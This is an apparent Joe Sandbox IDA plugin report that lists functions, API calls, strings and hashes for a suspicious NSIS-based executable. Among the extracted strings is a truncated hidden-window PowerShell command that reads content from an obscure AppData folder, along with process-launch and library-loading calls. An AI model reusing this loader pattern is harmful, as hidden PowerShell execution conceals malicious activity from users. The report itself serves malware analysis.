Instruction ID: cad0cac5a7d3da6b721da94722abfb33afad8597fd9771d3107dd1117b6c1d4f
Opcode Fuzzy Hash: 5c453212d903dc701faa49355209661bb92ff5e6ac37f0c8ac23110231670f15
Instruction Fuzzy Hash: EA51D471901216ABDB209F64DE89B9E7BB8EB04354F20407BF904F62D1C7BC9D419BAD

Function 00401767 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,"powershell.exe" -windowstyle hidden "$Matchsafe=Get-Content 'C:\Users\user\AppData\Roaming\Palaeodictyopteron\testudskrivningsf,C:\Users\user\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede\Assentoft,?,?,00000031), ref: 004017A8
CompareFileTime.KERNEL32(-00000014,?,"powershell.exe" -windowstyle hidden "$Matchsafe=Get-Content 'C:\Users\user\AppData\Roaming\Palaeodictyopteron\testudskrivningsf,"powershell.exe" -windowstyle hidden "$Matchsafe=Get-Content 'C:\Users\user\AppData\Roaming\Palaeodictyopteron\testudskrivningsf,00000000,00000000,"powershell.exe" -windowstyle hidden "$Matchsafe=Get-Content 'C:\Users\user\AppData\Roaming\Palaeodictyopteron\testudskrivningsf,C:\Users\user\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede\Assentoft,?,?,00000031), ref: 004017CD

Part of subcall function 0040601F: lstrcpynW.KERNEL32(00409300,00409300,00000400,0040331A,00428220,NSIS Error), ref: 0040602C

Part of subcall function 0040517E: lstrlenW.KERNEL32(Completed,00000000,0040FEC0,00000000,?,?,?,?,?,?,?,?,?,00403160,00000000,?), ref: 004051B6
Part of subcall function 0040517E: lstrlenW.KERNEL32(00403160,Completed,00000000,0040FEC0,00000000,?,?,?,?,?,?,?,?,?,00403160,00000000), ref: 004051C6
Part of subcall function 0040517E: lstrcatW.KERNEL32(Completed,00403160,00403160,Completed,00000000,0040FEC0,00000000), ref: 004051D9
Part of subcall function 0040517E: SetWindowTextW.USER32(Completed,Completed), ref: 004051EB
Part of subcall function 0040517E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405211
Part of subcall function 0040517E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040522B
Part of subcall function 0040517E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405239

Strings

"powershell.exe" -windowstyle hidden "$Matchsafe=Get-Content 'C:\Users\user\AppData\Roaming\Palaeodictyopteron\testudskrivningsf, xrefs: 00401785, 0040178E, 004017AD, 004017B9, 004017EF, 00401805, 00401823, 0040185F, 004018E0, 004018E9, 004018F3, 004018FE
C:\Users\user\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede\Assentoft, xrefs: 00401796
luftfartsdirektorater, xrefs: 0040182D, 00401849

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: "powershell.exe" -windowstyle hidden "$Matchsafe=Get-Content 'C:\Users\user\AppData\Roaming\Palaeodictyopteron\testudskrivningsf$C:\Users\user\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede\Assentoft$luftfartsdirektorater
API String ID: 1941528284-4261068899
Opcode ID: fa6c9ee85054582e6053dcadd9bdeda21757e8bc23449a0a696a8e9d1f30f139
Instruction ID: e39dfb19bb2720adffc224853af95c022162de9bd11196ce21bc9617d3384428
Opcode Fuzzy Hash: fa6c9ee85054582e6053dcadd9bdeda21757e8bc23449a0a696a8e9d1f30f139
Instruction Fuzzy Hash: 9041D571900515BACF20BFB5CC45DAF3679EF45328B20427BF422B50E2DB3C8A519A6D

Function 0040517E Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(Completed,00000000,0040FEC0,00000000,?,?,?,?,?,?,?,?,?,00403160,00000000,?), ref: 004051B6
lstrlenW.KERNEL32(00403160,Completed,00000000,0040FEC0,00000000,?,?,?,?,?,?,?,?,?,00403160,00000000), ref: 004051C6
lstrcatW.KERNEL32(Completed,00403160,00403160,Completed,00000000,0040FEC0,00000000), ref: 004051D9
SetWindowTextW.USER32(Completed,Completed), ref: 004051EB
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405211
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040522B
SendMessageW.USER32(?,00001013,?,00000000), ref: 00405239

Strings

Completed, xrefs: 0040519F, 004051AF, 004051B5, 004051D8, 004051E4

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID: Completed
API String ID: 2531174081-3087654605
Opcode ID: b3b426c8c96c0d6a6cce16e65ff4c744bbf9f5044ab1cc25101196bb62a9e0e5
Instruction ID: 21bddbe199db3e121897d5596c22f00b0e76f5ccd37bc28327e30b1938552548
Opcode Fuzzy Hash: b3b426c8c96c0d6a6cce16e65ff4c744bbf9f5044ab1cc25101196bb62a9e0e5
Instruction Fuzzy Hash: 9E219D71900118BACB219FA5DD84ACFBFB9EF58350F14807AF904B62A0C7798A41CF68

Function 00403027 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 155
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403088
GetTickCount.KERNEL32 ref: 00403109
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 00403136
wsprintfW.USER32 ref: 00403149

Strings

... %d%%, xrefs: 00403143

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: ... %d%%
API String ID: 551687249-2449383134
Opcode ID: cf664cf4806fb32f7aca161fbd37ecbefe006222c1d77f285591627fdb242337
Instruction ID: dc339ecebd5a12fc0f5e273b782e0acc65c92b35cb5ec2ffb99f959b3dc2fe49
Opcode Fuzzy Hash: cf664cf4806fb32f7aca161fbd37ecbefe006222c1d77f285591627fdb242337
Instruction Fuzzy Hash: CC517A71900219ABDB10DF65D904B9F3FA8AF04766F14427BF911BB2C5C7789E408BE9

Function 00405C23 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405C41
GetTempFileNameW.KERNELBASE(00409300,?,00000000,?,?,?,00000000,00403268,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403496), ref: 00405C5C

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405C28
nsa, xrefs: 00405C30

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-44229769
Opcode ID: f059ee56c8deccd03f6e154050eb187f2ccb3477461fa331799173a8e43ad9ef
Instruction ID: 4fdac09ee551a982241d11f866b864b283b1b610f450d112551ccb25b2c02e5c
Opcode Fuzzy Hash: f059ee56c8deccd03f6e154050eb187f2ccb3477461fa331799173a8e43ad9ef
Instruction Fuzzy Hash: 0EF03676B04208BFEB108F55DD49E9BB7ADEB95750F10403AF901F7150E6B0AE548758

Function 00406389 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004063A0
wsprintfW.USER32 ref: 004063DB
LoadLibraryW.KERNELBASE(?), ref: 004063EB

Strings

%s%S.dll, xrefs: 004063D5

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll
API String ID: 2200240437-2744773210
Opcode ID: 8eb02a3bbd68b69db90ac38405ec0e3d1a99f1663c9491293569e02019d06da0
Instruction ID: 006adf5c24d44cc190f28e383f23d96ea846dcb1794efbef959ff2cbc64c9496
Opcode Fuzzy Hash: 8eb02a3bbd68b69db90ac38405ec0e3d1a99f1663c9491293569e02019d06da0
Instruction Fuzzy Hash: D6F09030910119EBDB14AB68DD4DEAB366CAB00304F104476A906F21E1E77CEA68CBE9

Function 00401E66 Relevance: 6.1, APIs: 4, Instructions: 52
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040517E: lstrlenW.KERNEL32(Completed,00000000,0040FEC0,00000000,?,?,?,?,?,?,?,?,?,00403160,00000000,?), ref: 004051B6
Part of subcall function 0040517E: lstrlenW.KERNEL32(00403160,Completed,00000000,0040FEC0,00000000,?,?,?,?,?,?,?,?,?,00403160,00000000), ref: 004051C6
Part of subcall function 0040517E: lstrcatW.KERNEL32(Completed,00403160,00403160,Completed,00000000,0040FEC0,00000000), ref: 004051D9
Part of subcall function 0040517E: SetWindowTextW.USER32(Completed,Completed), ref: 004051EB
Part of subcall function 0040517E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405211
Part of subcall function 0040517E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040522B
Part of subcall function 0040517E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405239

Part of subcall function 004056FF: CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00425710,Error launching installer), ref: 00405728
Part of subcall function 004056FF: CloseHandle.KERNEL32(00409300), ref: 00405735

WaitForSingleObject.KERNEL32(00000000,00000064,00000000,000000EB,00000000), ref: 00401E95
WaitForSingleObject.KERNEL32(?,00000064,0000000F), ref: 00401EAA
GetExitCodeProcess.KERNEL32(?,?), ref: 00401EB7
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EDE

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: MessageSend$CloseHandleObjectProcessSingleWaitlstrlen$CodeCreateExitTextWindowlstrcat
String ID:
API String ID: 3585118688-0
Opcode ID: 208552917697b6ea9fee925396b341220ccedd5f3bcf684150704a595fab1722
Instruction ID: f6705c9319aae76dbd7499045e6368890872edf6032e54a723c1862b254634bc
Opcode Fuzzy Hash: 208552917697b6ea9fee925396b341220ccedd5f3bcf684150704a595fab1722
Instruction Fuzzy Hash: 7611A131900108EBCF21AFA1CD8499E7AB6EB04314F24407BF601B61E1C7798A819B9D

Function 004015B9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405A7E: CharNextW.USER32(?,?,00424F10,00409300,00405AF2,00424F10,00424F10,75923420,?,C:\Users\user\AppData\Local\Temp\,00405830,?,75923420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\SN890156.exe"), ref: 00405A8C
Part of subcall function 00405A7E: CharNextW.USER32(00000000), ref: 00405A91
Part of subcall function 00405A7E: CharNextW.USER32(00000000), ref: 00405AA9

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 00401612

Part of subcall function 0040564D: CreateDirectoryW.KERNEL32(?,00409300,C:\Users\user\AppData\Local\Temp\), ref: 00405690

SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede\Assentoft,?,00000000,000000F0), ref: 00401645

Strings

C:\Users\user\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede\Assentoft, xrefs: 00401638

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede\Assentoft
API String ID: 1892508949-1946704446
Opcode ID: d6c62e4bc0b7dbea664bda3c2b78bc6f33bdb4966941653c72152c10b0c9888c
Instruction ID: 9984d83288963ddb5bfb53596c8c9f6ed7fbdeacdcadece23b283b8c4b9f7bd6
Opcode Fuzzy Hash: d6c62e4bc0b7dbea664bda3c2b78bc6f33bdb4966941653c72152c10b0c9888c
Instruction Fuzzy Hash: 70119331504505EBCF206FA48D4199F3AB1EF44368B24097BEA05B61F2D63A4A819E5E

Function 004056FF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00425710,Error launching installer), ref: 00405728
CloseHandle.KERNEL32(00409300), ref: 00405735

Strings

Error launching installer, xrefs: 00405712

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: b8225b8e790b3fd0efe802e75bacfbac7fa780f619c07fe13b6fa50099ed031b
Instruction ID: 0e3d6bea0253e84bb75e95f5fd13ebb7f1c25267a9e23a2e11a0c59c818b3a51
Opcode Fuzzy Hash: b8225b8e790b3fd0efe802e75bacfbac7fa780f619c07fe13b6fa50099ed031b
Instruction Fuzzy Hash: A1E0BFB4A50209BFEB10AB64ED45F7B77ADE704604F408521BD10F6190D774A9118A79

Function 00406B18 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1b0bcb74e89e0527ce0e7aeb25a080aa3b7917c16b08ac734cf8879bcce8d5f
Instruction ID: 5fe4abb7369df3af91b149f2edb7ea720d50bcc67b973f9abb1089395dd24c70
Opcode Fuzzy Hash: f1b0bcb74e89e0527ce0e7aeb25a080aa3b7917c16b08ac734cf8879bcce8d5f
Instruction Fuzzy Hash: C0A14471E00229CBDF28CFA8C8546ADBBB1FF44305F11856AD956BB281C7785A96CF44

Function 00406D19 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d9f9556e65149fb8038c12abebdeeaff41015fbe822045bf8c0f712664e9a4c
Instruction ID: 7dc68a506d8d0f3fe9b520a6289ddaa7cfd75a66a39107a8603bac83b987cce9
Opcode Fuzzy Hash: 4d9f9556e65149fb8038c12abebdeeaff41015fbe822045bf8c0f712664e9a4c
Instruction Fuzzy Hash: 58912370D00229CBDF28CFA8C854BADBBB1FF44305F15816AD956BB291C7789A96CF44

Function 00406A2F Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fedee03a87f183305429df1632bc9847bb667c1ae34a6a4f86b425fb5205d62c
Instruction ID: aa61b8b4d6b896fc10b82c5715850ba22d426d73d4dcb40af3c311b95fbd5bbf
Opcode Fuzzy Hash: fedee03a87f183305429df1632bc9847bb667c1ae34a6a4f86b425fb5205d62c
Instruction Fuzzy Hash: 1B815671E00229CFDF24CFA8C844BADBBB1FB44305F25816AD456BB291C7789A96CF54

Function 00406534 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
